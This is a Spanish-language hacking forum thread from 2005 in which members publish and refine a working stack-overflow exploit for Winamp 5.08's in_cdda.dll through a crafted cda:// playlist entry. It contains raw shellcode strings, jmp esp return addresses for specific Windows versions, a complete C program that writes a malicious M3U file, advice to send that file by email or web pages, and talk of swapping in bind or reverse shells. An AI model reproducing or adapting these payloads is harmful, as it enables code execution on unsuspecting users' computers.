Páginas: [1] 2
|
 |
|
Autor
|
Tema: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll (Leído 4968 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
 Yendo al grano, el caso es que ha salido un bug para los Winamp 5.08 y anteriores: http://security.nnov.ru/search/document.asp?docid=7693Es la "actualizacion" de un bug anterior muy parecido, que petaba al abrir un archivo *.m3u con un nombre especial, y con un contenido especial. Nullsoft lo ha tratado de arreglar, pero sigue abiendo el mismo fallo, aunque ya no tiene que ver con el nombre del archivo, si no con la "llamada" interna que hace el Winamp al tratar de abrir un CD de audio (cda://E,1 <- Significa unidad E: y pista 1). El fallo esta en el E, y en el 1, ambos producen stack overflow si le metes un nombre de unidad o una pista "grande". Concretamente, al hacer: cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL..... (Esto se hace añadiendo un archivo para reproducir al Winamp, y al darle a playlist entry, se modifica su path por lo anterior) Al darle al play,te salta error de escritura del windows, con EIP 0x49494948 (HIII) Debugeando con el olly, se ve que a partir de JKKK esta en la stack (debajo de HIII), y que ademas ESP apunta a JKKK. Con lo que ya tenemos exploit facil  Cambiamos HIIII por un offset que llame a un jmp esp (yo he usado 0x5f20546e olepro32.dll) y en JKKK y demas lo sustituimos por los valores de la shellcode (empieza la shellcode en la ultima J). Se le pueden meter Nops por si acaso, pero no es necesario, al menos, a mi no me ha hecho falta. He usado una shellcode que ejecuta un simple "cmd.exe" que hice hace muuuucho, aqui: http://foro.elhacker.net/index.php/topic,12032.0.html (todo junto) Lo malo de la shellcode es que solo funciona en Win XP SP1 (creo xDD, no la he probado en otras versiones de Windows). Entonces, queda asi: cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ El "nT _" es 0x5f20546e (se puede cambiar, es el offset del jmp esp) y lo demas, es la shellcode (empieza detras de la ultima "J", shellcode que abria que cambiar para que funcionara en otros Windows, asi como el offset del jmp esp, que no sera el mismo). Si copias lo anterior al "playlist entry" del archivo y le das a PLAY, te salta una bonita shell de comandos  Y si kieres mandarlo por "Internet" o demas (mails, paginas webs, etc...) solo tienes que salvar la "lista de reproduccion" (boton abajo derecha), y quedara un archivo M3U, que te envio para que lo veas  Solo habria que cambiar la shellcode por una generica, que deje un puerto abierto o haga un reverse shell, etc etc etc... pero eso se lo dejo a la gente que se baje el exploit. No se si soy el primero, aunque el exploit es muy facil (aunque me ha llevado una hora de ollydbg xD), no hay ningun exploit publico aun. Tened en cuenta que esta basado en la informacion del advisory que te puesto al principio, yo me he limitado a codear el exploit  El exploit (simplemente, es salvar la lista de reproduccion en un archivo M3U) lo meto como archivo adjunto, con extension TXT para que lo veais "por dentro". Solo teneis que cambiarle la extension a M3U para que funcione  Si lo ejecutas en un Win XP SP1 con un Winamp 5.08 o anterior (yo lo he probado con un 5.07), se salta una shell  No se si hay algun exploit publico por ahi de este bug, lo hay de uno anterior (que no tiene que ver con este), he buscado, pero parece que no lo hay, asi que soy el primero en publicarlo xD. De todas formas, es un exploit bastante facil de codear, cualquiera que supiera un poco de shellcoding, manejar el olly y tal, lo hace. Rojodos
|
|
|
|
« Última modificación: 28 Enero 2005, 09:04 por Rojodos »
|
En línea
|
|
|
|
Martín Fierro
Conectado
Mensajes: 377
Por crom!!!. Chiapas dedo izquierdo de wadalbertía
|
Lo use con una version 5.05 y me salió un error, la ventanita esa del fake windows de que winamp habia fallado y nada de nada..
|
|
|
|
|
En línea
|
Y no me importa nada..
|
|
|
LOKORIP
Desconectado
Mensajes: 60
|
me funciono con la version winamp 5.08 da la shell perfectamente y se queda colgado el winamp con windows xp sin service pack
LO INTERESANTE SERIA COMO MODIFICARLO PARA QUE FUNCIONASE EN REMOTO
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Lo acabo de probar en la version 5.05 y funciona perfectamente, solo que hay que correr un "byte" el payload. Si te fijas, en la 5.05, al correr el anterior exploit, sale un error de bla bla con EIP= 0x495f2054, eso es que el offset del jmp esp no lo coge "bien" (fijate en que es 0x5f20546e) en el ret, metiendo una "I" (la I en hex es 49, y esta al reves porque Intel es una arquitectura little endian, para meterle direcciones de memoria tienes que meterselas "al reves"). Es decir, en la 5.05, el ret no cae en "HIII" si no en "IIII", solo tienes que meter una "H" antes del offset (nT _) en el payload, y el offset de jmp esp sobreescribira perfectamente el ret address, asi: cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHH HnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ Al menos a mi, me funciona asi  Sale otra bonita shell de comandos  Salu2
|
|
|
|
« Última modificación: 28 Enero 2005, 20:32 por Rojodos »
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
|
|
|
|
|
En línea
|
|
|
|
TaU
Desconectado
Mensajes: 174
|
Te dejo aqui tambien el código del generador de m3u que he adaptado: #include <stdio.h> #include <stdlib.h>
#define HEADER1 "#EXTM3U\n" #define HEADER2 "#EXTINF:0,Exploit Winamp v5.0x-5.05 por Rojodos (modif TaU)\n"
char shellcode[]= "cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" //Padding "\x9F\x44\x1B\x5F" //Offset del JMP ESP en olepro32.dll wXP SP2 "JJJJ" "\x8B\xE5\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6" "\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\xB8" "\xC7\x93\xBF\x77" //Offset de la llamada a system() en msvcrt.dll wXP SP2 "\x50\x8D\x5D\xF8\x53\xFF\xD0\n\r";
int main(int argc, char* argv[]) { FILE *fp; char *sc=(char *)malloc(sizeof(shellcode)+1);
printf ("\nExploit Winamp v5.0x-5.05 por Rojodos (modif TaU)\n"); printf ("Testeado en Winamp 5.03 y winXP SP2\n\n"); printf ("Generador de m3u basado en el del primer exploit publicado el 24.11.2004\n"); printf ("en http://www.k-otik.com/exploits/20041124.winampm3u.c.php\n\n");
if (sc == NULL) { printf ("malloc error\n"); return -1; }
memset(sc,'\0',sizeof(sc)); memcpy(sc, shellcode, sizeof(shellcode) );
fp = fopen ("test2.m3u","w+"); if (!fp) { printf (" error opening file.\n"); return -1; }
fwrite (HEADER1, 1, strlen (HEADER1), fp); fwrite (HEADER2, 1, strlen (HEADER2), fp); fwrite (sc , 1, strlen(sc) , fp); fclose (fp);
printf ("\nArchivo <test2.m3u> creado. Simplemente haz doble click en él.\n\n"); return 0;
} El codigo genera un m3u que funciona en wXP SP2 y con winamp 5.03 - 5.05. Para otros casos hay que afinar los offsets (para SP1) y/o borrar una letra anterior a la shell (para adaptarlo a la version 5.08). Salu2 maestro!
|
|
|
|
|
En línea
|
"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán. www.wadalbertia.org -<|¡^P
|
|
|
zhyzura
Sie sind nicht wie die anderen
Colaborador
Desconectado
Mensajes: 2.096
"dieses ist es unsere Welt"
|
ya cale el txt que pusiste Rojodos en un winxp sp1 con el winamp 5.02 lo que aun no he calado es la adaptacion de TaU (gracias poe el codigo), hoy en la tarde me instalo sp2 para testear y consigo un winamp mas nuevo que el que tengo  . saludos
|
|
|
|
|
En línea
|
- - -->> Sie urteilen zu uns seiend unterschiedlich <<-- - - unser Durst des Wissens ist unersättlich
|
|
|
benn
Desconectado
Mensajes: 16
|
Ayer acabo de bajar el Winamp (5.0.8 al dia de ayer) en una maquina con WinXP SP2 y aparentemente no funciona.
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Lo malo de la shellcode es que solo funciona en Win XP SP1 (creo xDD, no la he probado en otras versiones de Windows). Rojodos lo hizo en xp sp1 no se sabe si funcionaria en SP2 y si bajaste el 5.08c esta parchado ya (pienso).
|
|
|
|
|
En línea
|
|
|
|
LoReDo
Desconectado
Mensajes: 233
|
¿Y no se puede usar un salto a ESP desde una libreria que esté presente en todas las versiones o Service Packs, la cual mantenga ese mismo salto en en mismo offset?
Yo por ejemplo no tenía cargada en memoria olepro32.dll y he tenido que buscar un salto en otra, en concreto en user32.dll.
¿Seguro que no hay ninguna que mantenga una especie de offset universal?
|
|
|
|
|
En línea
|
Los sabios buscan la sabiduría, los necios creen haberla encontrado...
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
No, que yo sepa, no hay forma. De alguna manera tienes que lograr el control de la ejecucion del programa, y ese es el offset de mi Win XP SP1 Spa.
Otra cosa ya es la shellcode, que si puede ser universal, y puede hacer de todo como controlar escepciones, buscar funciones APIs, buscar funciones relacionadas con el registro, etc etc...
Salu2
|
|
|
|
|
En línea
|
|
|
|
LoReDo
Desconectado
Mensajes: 233
|
¿Por qué pusiste el offset a jmp ESP en olepro32.dll? ¿Tiene algo de especial esa .dll?
Es que yo no la tenía corriendo en mi windows, que también es un SP1..
Se puede añadir una shellcode de 300 bytes al exploit que pegaste más atrás o está limitado a un tamaño determinado...
He probado con una bindshell normal y cuando se produce el overflow intenta saltar a otro offset que no tiene sentido alguno, y no se con qué relacionarlo..
|
|
|
|
|
En línea
|
Los sabios buscan la sabiduría, los necios creen haberla encontrado...
|
|
|
®®
Colaborador
Desconectado
Mensajes: 5.079
|
si se puede, yo le meti una de mas o menos 300.
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Cogi la olepro32.dll porque tenia un offset "imprimible" dentro de los 127 primeros caracteres de la tabla ascii, por si acaso. Pero luego me di cuenta que daba igual, ya que la shellcode la ejecuto perfectamente.
En bugtraq comentan que le pudieron meter una de 900 bytes, aunque luego contesto gente diciendo que no podia....
Yo no lo he probado, pero siempre puedes hacer un jmp al AAAABBBB donde tienes un poco mas de codigo para jugar.
Salu2
|
|
|
|
« Última modificación: 05 Febrero 2005, 07:47 por Rojodos »
|
En línea
|
|
|
|
LoReDo
Desconectado
Mensajes: 233
|
¿Me puedes pegar aquí la shellcode que has utilizado exactamente y te ha funcionado? He probado ya con varias bindshell y reverse y no consigo que se ejecuten. Cuando se produce el buffer overflow se llama correctamente a JMP esp y comienza a ejecutarse la shellcode pero a la cuarta o quita instruccion siempre me devuelve un Access violation y no se que hacer.. Sin embargo cuando las ejecuto con lo típido de: int main(int argc, char **argv) { int (*funct)(); funct = (int (*)()) code; (int)(*funct)(); }
si que funcionan y ya me estoy empezando a asquear. Lo único que se me ocurre es que al producirse el overflow se modifique el valor de algunos registros que luego utiliza la shellcode y por eso intente acceder a un offset no válido.. saludos^^
|
|
|
|
|
En línea
|
Los sabios buscan la sabiduría, los necios creen haberla encontrado...
|
|
|
|
Páginas: [1] 2
|
|
|
|